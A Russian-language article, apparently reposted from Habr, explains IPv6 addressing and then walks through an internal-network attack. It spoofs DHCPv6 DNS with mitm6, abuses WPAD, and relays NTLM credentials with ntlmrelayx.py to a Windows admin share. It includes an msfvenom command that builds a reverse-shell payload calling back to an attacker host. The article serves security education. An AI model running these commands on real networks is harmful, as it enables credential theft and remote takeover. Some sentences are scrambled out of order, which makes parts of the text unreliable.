Главная » Хабрахабр » Где вставить кавычку в IPv6

Где вставить кавычку в IPv6

IPv6 — новая версия интернет протокола. Члены IETF приняли её всего 22 года назад, в 1996 году. За это время успели появиться специфичные для IPv6 атаки. Цель данной статьи, написанной по мотивам нашего выступления на PHDays 8 — показать возможности атаки в корпоративных сетях внутренним нарушителем, используя IPv4 и IPv6.

Основы адресации IPv6

Длина адреса IPv6 составляет 128 бит, которые записываются в шестнадцатеричном формате c разделением всего адреса на 8 групп. Пример написания адреса IPv6:

2001:0a00:cafe:babe:0001:0000:0000:0011/64

Нули, записанные слева в каждой группе, могут быть отброшены. Существует упрощенная запись адреса, когда несколько последующих групп нулей могут быть заменены на «::», но только один раз. Значит, адрес выше можно записать в виде:

2001:a00:cafe:babe:1::11/64

Стандартный размер хостовой части, выдаваемый провайдером клиенту — 64 бита, из которых 4 используются для сегментирования сети на подсети.

В IPv6 существует несколько типов адресов:

Данные адреса выдаются IANA и уникальны в пределах всего интернета.
Глобальный юникаст (Global unicast) — это аналог публичных адресов в IPv4. Данные адреса находятся в диапазоне 2000::/3 (2000 – 3FFF).

Трафик, содержащий в качестве отправителя или получателя данный адрес, не должен маршрутизироваться. Локальные адреса (Link-local) — адреса в диапазоне FE80::/10 (FE80 – FEBF), автоматически генерируются устройствами и используются для взаимодействия с другими устройствами в той же локальной сети. Таким образом, устройство, имеющее поддержку IPv6 и подключённое к сети, сразу может обмениваться информацией в пределах своей подсети без какой-либо настройки.

Данный адрес аналогичен 127. Loopback-адрес ::1. 0. 0. Пакеты отправляемые на него не покидают пределы устройства. 1 в IPv4.

Используется в некоторых случаях в качестве отправителя до момента получения адреса. Неопределённый адрес (Unspecified address) — адрес «::», состоящий из одних нулей.

Адресное пространство IPv6 настолько велико, что каждому человеку на планете можно выдать более триллиона адресов и они не закончатся. Уникальные локальные адреса (Unique local) — аналог приватных адресов в IPv4, могут маршрутизироваться в пределах внутренней сети организации, без возможности маршрутизации в Интернет. Поэтому IPv6 подразумевает отказ от приватных адресов в том смысле, в котором они использовались в IPv4 из-за нехватки публичных.

Эти адреса используются для устройств, не поддерживающих IPv6 и обеспечивают способ отображения адресного пространства IPv4 в адресное пространство IPv6. Адреса IPv4, отображённые в IPv6 (IPv4 embedded) — адреса IPv6 начинающиеся с ::ffff: последние 32 бита которых содержат IPv4 адрес(::ffff:xxxx:xxxx, где xxxx:xxxx — это IPv4 адрес, переведённый в шестнадцатеричный вид).

В новом протоколе отказались от широковещательных пакетов, вместо широковещательного адреса используются мультикаст адреса. Мультикастовые адреса (Multicast) — одно из ключевых изменений в IPv6 по сравнению с IPv4. Все эти адреса находятся в диапазоне FF00::/8

Назначение адреса в IPv6

Для получения адресной информации в IPv6 используется протокол ICMPv6 Neighbor Discovery Protocol (ND). Как показано на рисунке ниже, при появлении нового устройства в сети, работающей по IPv6, устройством посылается запрос на получение IPv6 адреса (Router Solicitation) на «ff02::2» (все маршрутизаторы сети). Маршрутизатор отвечает сообщением (Router Advertisement), содержащим информацию о том, как получить адрес IPv6. В зависимости от выставленных в сообщении флагов существует три способа:

Способ получения адреса

A(Auto) флаг

O(Other) флаг

M(Managed) флаг

SLAAC (по умолчанию)

1

0

0

SLAAC + DHCPv6

1

1

0

DHCPv6

0

-

1

SLAAC (Stateless Address Autoconfiguration) — В данном случая все необходимая для генерации глобального IPv6 адреса находится в RA сообщении.

SLAAC + DHCPv6 — Также как и в случае SLAAC адрес генерируется на основании информации в RA пакете, но дополнительно выставлен флаг O что значит Other configuration и устройству необходимо связаться с DHCPv6 сервером для получения дополнительных настроек например DNS сервера.

DHCPv6 — аналог DHCPv4 адрес и вся остальная информация выдается DHCP сервером, за исключением шлюза по умолчанию, который берется из адреса отправителя RA пакета.

При одновременно выставлении O и M флагов, флаг O игнорируется.

На изображении видно, что после запуска добавился IPv6 адрес шлюза по умолчанию, который стал приоритетнее IPv4.
В качестве примера возьмем утилиту fake_router26 из набора утилит thc-ipv6.

Атакуем!

В данном сценарии мы рассмотрим возможность атаки типа «человек посередине», используя механизм получения сетевых настроек протокола IPv6.

Для демонстрации нам понадобится 4 машины:

Машина атакующего Kali Linux.

Машина-сервер, на которой будут включены шары администратора Windows 7.

Машина-клиент, у которой будет доступ к серверу Windows 7.

Роутер с включенным DHCPv4.

Он написал утилиту mitm6, которая, используя ND протокол, отправляет сообщения Router Advertisment c установленными флагами «O» и «M» равными «1». dirkjanm описал методику данного сценария. Клиенты начинают отправлять DHCPv6 SOLICIT сообщения, для обнаружения DHCP сервера. Таким образом клиенты знают, что необходимо запрашивать адресную информацию у DHCPv6 сервера. Утилита отвечает на посылаемые запросы сообщениями DHCPv6 ADVERTISE; в ответе содержится адрес атакующей машины в качестве DNS-сервера.

Запрос адресной информации, отправляемый на мультикаст-адрес всех DHCP-серверов ff02::1:2

Теперь атакующий может отвечать на любые DNS запросы нужным адресом. После чего из-за архитектурных особенностей операционной системы DHCPv6 DNS становится приоритетным. Таким образом запрос посланный по доменному имени будет направлен на усмотрение атакующего.

Запустив mitm6, можно указать домен, для которого подменять адреса DNS.

Шары администратора

Для усиления драматического эффекта допустим, что в сети существует ещё одна машина, на которой пользователю первой машины разрешается подключаться к административным шарам. По умолчанию они выключены, но в интернете множество людей интересуется, как их включить, и очень радуются, когда у них это получается.

WPAD (Web Proxy Auto Discovery) — протокол для определения расположения файла, в котором находятся настройки прокси-сервера по умолчанию.

После обновления MS16-077 wpad больше не отдаётся через NETBIOS и не аутентифицируется автоматически на прокси сервере.

Необходима версия выше 0. Для обхода данных ограничений можно использовать ntlmrelayx.py, входящий в состав impacket. 16, в которой включена поддержка IPv6 и возможность установки сервера, отдающего валидный wpad. 9. Запуск производится командой

ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe

где 1.exe — reverse-shell-пейлоад, сгенерированный метасплойтом.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe

параметр -wh указывает на хост, где располагается wpad файл (утилита mitm6 ответит адресом атакующего на данный запрос)

После подключения будет запрошена аутентификация HTTP 407 (Proxy Authentication Required), на который браузер автоматически аутентифицируется.

Полученные данные будут использованы для подключения к smb атакуемого сервера, переданного через параметр -t.

Благодарю моего соавтора Сергея Овчинникова malchikserega за помощь в подготовке выступления и статьи.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Нейронные сети с нуля. Обзор курсов и статей на русском языке, бесплатно и без регистрации

На Хабре периодически появляются обзоры курсов по машинному обучению. Но такие статьи чаще добавляют в закладки, чем проходят сами курсы. Причины для этого разные: курсы на английском языке, требуют уверенного знания матана или специфичных фреймворков (либо наоборот не описаны начальные ...

Как не выстрелить себе в ногу из конечного автомата

Конечный автомат редко применяется мобильными разработчиками. Хотя большинство знает принципы работы и легко реализует его самостоятельно. В статье разберемся, какие задачи решаются конечным автоматом на примере iOS-приложений. Рассказ носит прикладной характер и посвящен практическим аспектам работы. Под катом вы найдете дополненную расшифровку выступления Александра Сычева ...